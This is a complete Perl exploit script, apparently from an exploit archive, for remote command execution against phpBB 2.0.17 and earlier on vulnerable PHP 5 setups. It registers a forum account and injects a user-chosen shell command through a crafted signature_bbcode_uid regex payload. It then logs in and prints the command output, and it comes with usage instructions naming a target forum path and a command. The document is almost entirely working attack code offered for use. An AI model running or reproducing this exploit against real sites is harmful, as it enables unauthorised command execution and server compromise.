#!/usr/bin/perl # phpBB <= 2.0.17 remote command execution exploit # need for work: # 1. PHP 5 < 5.0.5 # 2. register_globals=On # 3. magic_quotes off # ------------------------------------------------ # (c)oded by 1dt.w0lf # RST/GHC # http://rst.void.ru # http://ghc.ru # 03.11.05 use LWP::UserAgent; use HTTP::Cookies; if(@ARGV < 2) { usage(); } head(); $xpl = LWP::UserAgent->new() or die; $cookie_jar = HTTP::Cookies->new(); for($i=0;$i<5;$i++) { $rand .= int(rand(9)); } $name = 'r57phpBB2017xpl'.$rand; $password = 'r57phpBB2017xpl'.$rand; $path = $ARGV[0]; $cmd = $ARGV[1]; $xpl->cookie_jar( $cookie_jar ); $res = $xpl->post( $path.'profile.php?GLOBALS[signature_bbcode_uid]=(.%2B)/e%00', Content => [ 'username' => $name, 'email' => $rand.'_bill_gates@microsoft.com', 'new_password' => $password, 'password_confirm' => $password, 'signature' => 'r57:`'.$cmd.'`', 'viewemail' => '0', 'hideonline' => '1', 'notifyreply' => '0', 'notifypm' => '0', 'popup_pm' => '0', 'attachsig' => '0', 'allowbbcode' => '1', 'allowhtml' => '1', 'allowsmilies' => '0', 'mode' => 'register', 'agreed' => 'true', 'coppa' => '0', 'submit' => 'Submit', ], ); if($res->content =~ /form action=\"profile.php/) { print "Failed to register user $name\r\n"; exit(); } else { print "Done. User $name successfully registered!\r\n"; } $res = $xpl->post( $path.'login.php', Content => [ 'username' => $name, 'password' => $password, 'redirect' => '', 'login' => 'Log in', ],Referer => $path.'login.php'); $res = $xpl->get($path.'profile.php?mode=editprofile'); @content = split("\n",$res->content); print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; for(@content) { if(/<\/textarea>/) { $p = 0; } print $_."\r\n" if $p; if(/<textarea name="signature"/){ $p = 1; } } print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; sub head() { print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; print " PhpBB <= 2.0.17, PHP 5 < 5.0.5 remote command execution exploit by RST/GHC\r\n"; print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; } sub usage() { head(); print " Usage: r57phpBB2017.pl <path> <cmd>\r\n"; print " <path> - Path to forum e.g. http://phpbb.com/forum/\r\n"; print " <cmd> - Command for execute\r\n"; print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; print "(c)oded by 1dt.w0lf , RST/GHC , http://rst.void.ru , http://ghc.ru\r\n"; print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; exit(); } # milw0rm.com [2005-12-24]